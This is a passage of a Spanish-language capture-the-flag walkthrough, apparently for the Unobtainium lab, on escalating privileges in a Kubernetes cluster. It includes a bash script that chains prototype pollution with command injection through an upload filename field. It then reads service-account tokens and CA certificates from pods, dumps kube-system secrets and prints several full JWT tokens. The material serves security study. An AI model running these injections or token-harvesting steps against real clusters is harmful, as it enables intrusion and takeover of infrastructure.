root@webapp-deployment-5d764566f4-lrpt9:~# $kube auth can-i --list -n dev
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

Pod Dev

Enumeramos los pods en dev y encontramos tres, realizamos solicitudes con curl, describimos cada uno de estos y encontramos que son una replica de la web app de Unobtainium API en la cual obtuvimos acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
root@webapp-deployment-5d764566f4-lrpt9:~# $kube -n dev get pods
NAME                                READY   STATUS    RESTARTS   AGE
devnode-deployment-cd86fb5c-6ms8d   1/1     Running   28         149d
devnode-deployment-cd86fb5c-mvrfz   1/1     Running   29         149d
devnode-deployment-cd86fb5c-qlxww   1/1     Running   29         149d
root@webapp-deployment-5d764566f4-lrpt9:~# $kube -n dev describe pod devnode-deployment-cd86fb5c-6ms8d
Name:         devnode-deployment-cd86fb5c-6ms8d
Namespace:    dev
Priority:     0
Node:         unobtainium/10.10.10.235
Start Time:   Sun, 17 Jan 2021 18:16:21 +0000
Labels:       app=devnode
              pod-template-hash=cd86fb5c
Annotations:  <none>
Status:       Running
IP:           172.17.0.3
IPs:
  IP:           172.17.0.3
Controlled By:  ReplicaSet/devnode-deployment-cd86fb5c
Containers:
  devnode:
    Container ID:   docker://e846ace4fd6ff238743a8c866733a2f69dadbaf750fa2af6a0544ac3c31d9327
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Tue, 15 Jun 2021 14:14:34 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Wed, 24 Mar 2021 16:01:28 +0000
      Finished:     Wed, 24 Mar 2021 16:02:13 +0000
    Ready:          True
    Restart Count:  28
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  default-token-rmcd6:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-rmcd6
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:          <none>
root@webapp-deployment-5d764566f4-lrpt9:~#

Token & Ca.crt - Pods

Con las direccion IPs de cada pod, y mediante un script en bash ejecutamos comandos en la webapp para obtener el token y certificado de cada pod.

1
2
3
4
5
6
root@webapp-deployment-5d764566f4-lrpt9:~# $kube -n dev get pod -o wide
NAME                                READY   STATUS    RESTARTS   AGE    IP           NODE          NOMINATED NODE   READINESS GATES
devnode-deployment-cd86fb5c-6ms8d   1/1     Running   28         149d   172.17.0.3   unobtainium   <none>           <none>
devnode-deployment-cd86fb5c-mvrfz   1/1     Running   29         149d   172.17.0.5   unobtainium   <none>           <none>
devnode-deployment-cd86fb5c-qlxww   1/1     Running   29         149d   172.17.0.6   unobtainium   <none>           <none>
root@webapp-deployment-5d764566f4-lrpt9:~#

El script da permisos, ejecuta un comando y guarda el resultado en un archivo, finalmente se realiza la lectura de dicho archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#! /usr/bin/env bash
RED="\e[31m"
GREEN="\e[32m"
ENDCOLOR="\e[0m"

if [ $# -eq 0 ]; then
    echo -e "${RED}URL and CMD not provided. ${ENDCOLOR}"    
    exit 1
fi

echo -e "${GREEN}[+] Giving Permissions ... ${ENDCOLOR}"
curl -sI -X PUT "$1/" --header 'Content-Type: application/json' \
--data-raw '{
    "auth": {
        "name": "felamos",
        "password": "Winter2021"
    },
    "message": {
        "constructor": {
            "prototype": {
                "canDelete": true,
                "canUpload": true
            }
        }
    }
}'
sleep 0.02


echo -e "${GREEN}[+] Sending CMD $2. ${ENDCOLOR}"
CMD=$2
PART1='{"auth": {"name": "felamos","password": "Winter2021"},"filename":"&'
PART2='> x"}'
curl -s -X POST "$1/upload" --header 'Content-Type: application/json' --data-raw "$PART1$CMD$PART2" | python -c 'import json,sys;obj=json.load(sys.stdin);print obj["Uploaded_File"]'
sleep 0.02

echo -e "${GREEN}[+] Output of $2. ${ENDCOLOR}"
curl -s -X POST "$1/todo" --header 'Content-Type: application/json' \
--data-raw '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "x"}' | python -c 'import json,sys;obj=json.load(sys.stdin);print obj["content"]'
sleep 0.02

Al tener los token y certificados les dimos permisos de lectura chmod 600 *.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
root@webapp-deployment-5d764566f4-lrpt9:~/k_info# ls -lah
total 32K
drwxr-xr-x 2 root root 4.0K Jun 16 05:29 .
drwxr-xr-x 4 root root 4.0K Jun 16 05:39 ..
-rw------- 1 root root  889 Jun 16 05:28 k3
-rw------- 1 root root 1.1K Jun 16 05:28 k3_cert
-rw------- 1 root root  889 Jun 16 05:29 k5
-rw------- 1 root root 1.1K Jun 16 05:29 k5_cert
-rw------- 1 root root  889 Jun 16 05:29 k6
-rw------- 1 root root 1.1K Jun 16 05:29 k6_cert
root@webapp-deployment-5d764566f4-lrpt9:~/k_info#
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# http://172.17.0.3:3000
root@webapp-deployment-5d764566f4-lrpt9:~# rce.sh http://172.17.0.3:3000 "cat /run/sec*/k*/se*/token > k3 && cat /run/sec*/k*/se*/ca.crt >> k3 && cat /run/sec*/k*/se*/namespace >> k3 && echo 'k3'"
[+] Giving Permissions ...
[+] Sending CMD cat /run/sec*/k*/se*/token > k3 && cat /run/sec*/k*/se*/ca.crt >> k3 && cat /run/sec*/k*/se*/namespace >> k3 && echo 'k3'.
[+] Output of cat /run/sec*/k*/se*/token > k3 && cat /run/sec*/k*/se*/ca.crt >> k3 && cat /run/sec*/k*/se*/namespace >> k3 && echo 'k3'.
k3

root@webapp-deployment-5d764566f4-lrpt9:~# rce.sh http://172.17.0.3:3000 "cat k3"
[+] Giving Permissions ...
[+] Sending CMD cat k3.
[+] Output of cat k3.
eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1[...REDACTED...]xeggOo5ZjbLOyQSuVFpn43TIw-----BEGIN CERTIFICATE-----
MIIC5zCCAc+gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMDEwNzEzMjQ0OVoXDTMxMDEwNjEzMjQ0OVowFTETMBEGA1UE
[...REDACTED...]
q465ixPZqFqVchxQFQ+pZ24KiqoQW4mam/x5FPy13+Mw8J4zb8vLduvLQR3wpUGb
vKXdnKOLWsiExyrjpZjZbYBL8b705XFFGvmabp21aG8psB1XvsLiGFQEqyDfeFRW
hl7KpUISl4+Np5sAiXNwtbSDE+22QVtZbuDn
-----END CERTIFICATE-----
dev
root@webapp-deployment-5d764566f4-lrpt9:~#

# http://172.17.0.5:3000
root@webapp-deployment-5d764566f4-lrpt9:~# rce.sh http://172.17.0.5:3000 "cat /run/sec*/k*/se*/token > k5 && cat /run/sec*/k*/se*/ca.crt >> k5 && cat /run/sec*/k*/se*/namespace >> k5 && echo 'k5'"
[+] Giving Permissions ...
[+] Sending CMD cat /run/sec*/k*/se*/token > k5 && cat /run/sec*/k*/se*/ca.crt >> k5 && cat /run/sec*/k*/se*/namespace >> k5 && echo 'k5'.
[+] Output of cat /run/sec*/k*/se*/token > k5 && cat /run/sec*/k*/se*/ca.crt >> k5 && cat /run/sec*/k*/se*/namespace >> k5 && echo 'k5'.
k5

root@webapp-deployment-5d764566f4-lrpt9:~# rce.sh http://172.17.0.5:3000 "cat k5"
[+] Giving Permissions ...
[+] Sending CMD cat k5.
[+] Output of cat k5.
eyJhbGciOiJSUzI1NiIsImtpZC[...REDACTED...]xeggOo5ZjbLOyQSuVFpn43TIw-----BEGIN CERTIFICATE-----
MIIC5zCCAc+gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMDEwNzEzMjQ0OVoXDTMxMDEwNjEzMjQ0OVowFTETMBEGA1UE
[...REDACTED...]
q465ixPZqFqVchxQFQ+pZ24KiqoQW4mam/x5FPy13+Mw8J4zb8vLduvLQR3wpUGb
vKXdnKOLWsiExyrjpZjZbYBL8b705XFFGvmabp21aG8psB1XvsLiGFQEqyDfeFRW
hl7KpUISl4+Np5sAiXNwtbSDE+22QVtZbuDn
-----END CERTIFICATE-----
dev
root@webapp-deployment-5d764566f4-lrpt9:~#

# http://172.17.0.6:3000
root@webapp-deployment-5d764566f4-lrpt9:~# rce.sh http://172.17.0.6:3000 "cat /run/sec*/k*/se*/token > k6 && cat /run/sec*/k*/se*/ca.crt >> k6 && cat /run/sec*/k*/se*/namespace >> k6 && echo 'k6'"
[+] Giving Permissions ...
[+] Sending CMD cat /run/sec*/k*/se*/token > k6 && cat /run/sec*/k*/se*/ca.crt >> k6 && cat /run/sec*/k*/se*/namespace >> k6 && echo 'k6'.
[+] Output of cat /run/sec*/k*/se*/token > k6 && cat /run/sec*/k*/se*/ca.crt >> k6 && cat /run/sec*/k*/se*/namespace >> k6 && echo 'k6'.
k6

root@webapp-deployment-5d764566f4-lrpt9:~# rce.sh http://172.17.0.6:3000 "cat k6"
[+] Giving Permissions ...
[+] Sending CMD cat k6.
[+] Output of cat k6.
eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9i[...REDACTED...]ZjbLOyQSuVFpn43TIw-----BEGIN CERTIFICATE-----
MIIC5zCCAc+gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMDEwNzEzMjQ0OVoXDTMxMDEwNjEzMjQ0OVowFTETMBEGA1UE
[...REDACTED...]
q465ixPZqFqVchxQFQ+pZ24KiqoQW4mam/x5FPy13+Mw8J4zb8vLduvLQR3wpUGb
vKXdnKOLWsiExyrjpZjZbYBL8b705XFFGvmabp21aG8psB1XvsLiGFQEqyDfeFRW
hl7KpUISl4+Np5sAiXNwtbSDE+22QVtZbuDn
-----END CERTIFICATE-----
dev
root@webapp-deployment-5d764566f4-lrpt9:~#

Enum Actions -> Namespaces

Con los tokens y certificados podemos enumerar las acciones que podemos ejecutar en los namespaces, y con suerte alguno de estos podria darnos acceso a otro tipo de action.

1
/root/kiub --token=$(cat /root/k_info/<token_name>) --certificate-authority=/root/k_info/<ca_cert_name> --server=https://10.96.0.1:443 auth can-i --list -n <NAMESPACE>

Algunos de los tokens y certificados mostraron que es posible obtener los secrets del namespace kube-system.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@webapp-deployment-5d764566f4-lrpt9:~/k_info# /root/kiub --token=$(cat /root/k_info/k3) --certificate-authority=/root/k_info/k3_cert --server=https://10.96.0.1:443 auth can-i --list -n kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
[ ... REDACTED... ]
                                                [/version]                            []               [get]
root@webapp-deployment-5d764566f4-lrpt9:~/k_info# /root/kiub --token=$(cat /root/k_info/k5) --certificate-authority=/root/k_info/k5_cert --server=https://10.96.0.1:443 auth can-i --list -n kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
[ ... REDACTED... ]
                                                [/version]                            []               [get]
root@webapp-deployment-5d764566f4-lrpt9:~/k_info# /root/kiub --token=$(cat /root/k_info/k6) --certificate-authority=/root/k_info/k6_cert --server=https://10.96.0.1:443 auth can-i --list -n kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
[ ... REDACTED... ]
                                                [/version]                            []               [get]
root@webapp-deployment-5d764566f4-lrpt9:~/k_info#

Secrets -> Kube-System

Utilizamos un for para enumerar los secrets en el namespace kube-system especificamente los tokens, además grepeamos el output para mostrar las acciones create .

1
for token in `/root/kiub --token=$(cat /root/k_info/k6) --certificate-authority=/root/k_info/k6_cert --server=https://10.96.0.1:443 describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; /root/kiub --token $token auth can-i --list | grep "create"; echo; done

El output del for es muy grande pero buscamos principalmente un token que tenga permitido crear pods. Vemos que uno de estos tokens (pestaña 1) puede crear pods, incluso algunas otras acciones, además vemos multiples tokens (pestaña 2) que tienen un resultado similar.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJwZXJzaXN0ZW50LXZvbHVtZS1iaW5kZXItdG9rZW4tZmQyOTIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoicGVyc2lzdGVudC12b2x1bWUtYmluZGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZTBmNGRkMjAtNTA2ZS00NWY2LTg5Y2MtMDY4MTVlNzY5ZTk0Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOnBlcnNpc3RlbnQtdm9sdW1lLWJpbmRlciJ9.QrwIUdAKVoBZcoCGn5DTDYw9EyhdA9WU2Uj5snWJo-J59iPljVBhdhdnoDEAwWXzCE76PN_EBUIF87KnAc0PUk8h5xEgykNErplvZ-7mpZI6s-wq180BTf6A4Ej-x-27Vo4pEKsFUbDLd_eY9vAIlXFoMFTheDjDgl-IXq4g0-QMDPxiGut5Z4DBc-RPmvt3csc-Wrs-ZjAhpL6PoscRqNEgsoeV5bpYbtp3kvAJ5hKdDeboj3-1H-iQL3RbDhMAyqsT-lINoDaHAImo5umWZlHeDQBDeZgNxMwqLkbBgQVCTNgcAQlt218yLi9LQLIWMOUTyyfLp0i3_TepH3rwLA
persistentvolumes                               []                                    []               [create delete get list update watch]
pods                                            []                                    []               [create delete get list watch]
endpoints                                       []                                    []               [create delete get update]
services                                        []                                    []               [create delete get]
events.events.k8s.io                            []                                    []               [create patch update]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
persistentvolumeclaims                          []                                    []               [get list update watch]
persistentvolumeclaims/status                   []                                    []               [update]
persistentvolumes/status                        []                                    []               [update]
events                                          []                                    []               [watch create patch update]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
root@webapp-deployment-5d764566f4-lrpt9:~/k_info# for token in `/root/kiub --token=$(cat /root/k_info/k6) --certificate-authority=/root/k_info/k6_cert --server=https://10.96.0.1:443 describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo "token: $token"; /root/kiub --token $token auth can-i --list | grep "create\|update"; echo; done

eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJnZW5lcmljLWdhcmJhZ2UtY29sbGVjdG9yLXRva2VuLTJobmc0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImdlbmVyaWMtZ2FyYmFnZS1jb2xsZWN0b3IiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI3M2U1NzUxZi01MWIxLTQ1N2UtOTU2NC0wMTY2NjZlYTAxNzEiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Z2VuZXJpYy1nYXJiYWdlLWNvbGxlY3RvciJ9.CO6tGO3YjvE47qPEbXdoEh8Ec1J8F5v0Quqye_eG9FiAU7rASYipmFu7d_EnKi07zhjjM9ydit4gFho9XhEKq8RdwoIufkd2EGLpnHGjAZFy2uR_vam9jmepZOMj5Foebasm4zO93bXQT1y5JLvR07OxeZ71eNm9SqblPATqI7EVcERn3YPnOrLdPkpsx-LQFICfUR8TrgqmoBXYwyj93UC9e53jdAE-HOebpuYVV2kFUk3zYGcsZMErgSUMetDGqyfNgu4dNFX2eau8RZ-MTfn0eK1j_KqjonqbnITVEz0b70b6FRAMWGOhNYKLVC3_l-dnTW2mmsFWMppLTgO_yg
events                                          []                                    []               [create patch update]
events.events.k8s.io                            []                                    []               [create patch update]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
*.*                                             []                                    []               [delete get list patch update watch]

eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJwZXJzaXN0ZW50LXZvbHVtZS1iaW5kZXItdG9rZW4tZmQyOTIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoicGVyc2lzdGVudC12b2x1bWUtYmluZGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiZTBmNGRkMjAtNTA2ZS00NWY2LTg5Y2MtMDY4MTVlNzY5ZTk0Iiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOnBlcnNpc3RlbnQtdm9sdW1lLWJpbmRlciJ9.QrwIUdAKVoBZcoCGn5DTDYw9EyhdA9WU2Uj5snWJo-J59iPljVBhdhdnoDEAwWXzCE76PN_EBUIF87KnAc0PUk8h5xEgykNErplvZ-7mpZI6s-wq180BTf6A4Ej-x-27Vo4pEKsFUbDLd_eY9vAIlXFoMFTheDjDgl-IXq4g0-QMDPxiGut5Z4DBc-RPmvt3csc-Wrs-ZjAhpL6PoscRqNEgsoeV5bpYbtp3kvAJ5hKdDeboj3-1H-iQL3RbDhMAyqsT-lINoDaHAImo5umWZlHeDQBDeZgNxMwqLkbBgQVCTNgcAQlt218yLi9LQLIWMOUTyyfLp0i3_TepH3rwLA
persistentvolumes                               []                                    []               [create delete get list update watch]
pods                                            []                                    []               [create delete get list watch]
endpoints                                       []                                    []               [create delete get update]
services                                        []                                    []               [create delete get]
events.events.k8s.io                            []                                    []               [create patch update]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
persistentvolumeclaims                          []                                    []               [get list update watch]
persistentvolumeclaims/status                   []                                    []               [update]
persistentvolumes/status                        []                                    []               [update]
events                                          []                                    []               [watch create patch update]

eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJyZXBsaWNhc2V0LWNvbnRyb2xsZXItdG9rZW4tYnpidDgiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoicmVwbGljYXNldC1jb250cm9sbGVyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiODEwNWE2NGUtZTgzOS00YmU5LWFkMDctNWE2NjhhNmUyZjFiIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOnJlcGxpY2FzZXQtY29udHJvbGxlciJ9.v7Xi-BTZIPjlPZBYIE_rEyrqWvb8criBypNBVR25ANKSJdgG6LIq5uBwnX7WKoMc0jb2mB_70wpMAtsOl0XRU576wuxLf6lQK5YLh-VzoOA6mltZqR2l1DKCunrAwwcPMSttiY-0gyGlxjDiXxBevRlMd0qWYr9EubS62IRFqXg0KyEzUl9xQU7Lysctl3JsYB7MNefwAtTUENIWhkzKgeOf_dx-jGLBrCE5icUXrFcRBYMH5jUwWb__wN42jgxOGGKzXnG2aPkvmmAIevZP_Fmdlw9HuCa1t2-dZ_94JoNRy_43tgKkprKqy6XU_QDPdfN7N1T1igh4ThmH3v3KDg
pods                                            []                                    []               [create delete list patch watch]
events                                          []                                    []               [create patch update]
events.events.k8s.io                            []                                    []               [create patch update]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
replicasets.apps                                []                                    []               [get list update watch]
replicasets.extensions                          []                                    []               [get list update watch]
replicasets.apps/finalizers                     []                                    []               [update]
replicasets.apps/status                         []                                    []               [update]
replicasets.extensions/finalizers               []                                    []               [update]
replicasets.extensions/status                   []                                    []               [update]

eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJyZXBsaWNhdGlvbi1jb250cm9sbGVyLXRva2VuLWp6OGs4Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6InJlcGxpY2F0aW9uLWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJhNzg1YWY5MS1hMmZmLTQxZmEtYWQ3Zi02ODhjMGVlNDJiMWIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06cmVwbGljYXRpb24tY29udHJvbGxlciJ9.lbUjkDsY_B8GhgvAIOXW6olyhNSzmJAJtDh0Jfc2RFMErenHEG9KuFnY-ufyhNSqf10_5Lb_fkz2-Sg3YIcxksghFzGIMote1GktWNAHCKslMqUfnv7x48lp1Nzhy7zvhNe-EVEdYRUpOXxdI5YdKPVVNBFUwStqfKuNThFB6lsyGFxynMUIK5Oqu2hvV4afhaja9WKZWxi2drUvHgDJYylbach1WMf_jWc7SIYhxpd8oYi84HUxpj2tlQHa1L4gy0XTFgvoeEY-NhllQ2vsimMQEvQRTeUVdoA0l1YVWkPb4SnIQR6cI3hmpxRlY3bxUIVr9-_fo6Zt3D2IFik0nA
pods                                            []                                    []               [create delete list patch watch]
events                                          []                                    []               [create patch update]
events.events.k8s.io                            []                                    []               [create patch update]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
replicationcontrollers                          []                                    []               [get list update watch]
replicationcontrollers/finalizers               []                                    []               [update]
replicationcontrollers/status                   []                                    []               [update]

eyJhbGciOiJSUzI1NiIsImtpZCI6IkpOdm9iX1ZETEJ2QlZFaVpCeHB6TjBvaWNEalltaE1ULXdCNWYtb2JWUzgifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJzdGF0ZWZ1bHNldC1jb250cm9sbGVyLXRva2VuLXoybnNkIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6InN0YXRlZnVsc2V0LWNvbnRyb2xsZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiI4Y2IxZGFjZC1jNTI2LTQ2MmQtYWNiNi04NDdmNzYxNTUyNGIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06c3RhdGVmdWxzZXQtY29udHJvbGxlciJ9.SejnrSrA4uMb3nIZ_vOplF8A1dEHgH4sTWkd6H3Nawaye-IvgdIYifaZvw8Chl_hS_SjuVdn17PI6cfgcg2B77zvJEFgqhfs4IXJg5SIoaEp-kB5oKYh7jt3SvVl0lZ78X77dKkECp54esYpVmwUQQjjS3pgCgwZKl3-V1SgPomWHiHAuxmh9r6VRLExhUFbCvhCW6XmOgTN7BJIOMwG_WUmsmqTcQSed3lM_IZCvaLy8ykDpNOTkJkFWDd7fXEhBADhuaizq0qk4YDAmsF-dRIBvhwATCt9L3iIb6oEoC9iirNOrXglSXgVXsW2sEcbJCPbHXAtIq--SYNWBE_PFw
controllerrevisions.apps                        []                                    []               [create delete get list patch update watch]
persistentvolumeclaims                          []                                    []               [create get]
events                                          []                                    []               [create patch update]
events.events.k8s.io                            []                                    []               [create patch update]
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [list watch create delete get patch update]
statefulsets.apps/finalizers                    []                                    []               [update]
statefulsets.apps/status                        []                                    []               [update]

root@webapp-deployment-5d764566f4-lrpt9:~/k_info#

Utilizamos parte del token (que permite crear pods) para obtener el nombre del secret, y asi obtener su certificado (persistent-volume-binder-token-fd292).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@webapp-deployment-5d764566f4-lrpt9:~/k_info# /root/kiub --token=$(cat /root/k_info/k6) --certificate-authority=/root/k_info/k6_cert --server=https://10.96.0.1:443 describe secrets -n kube-system | grep -e "Name" -e "Qlt218yLi9LQLIWMOUTyyfLp0i3_TepH3rwLA"
[... REDACTED ...]

Name:         persistent-volume-binder-token-fd292
Namespace:    kube-system
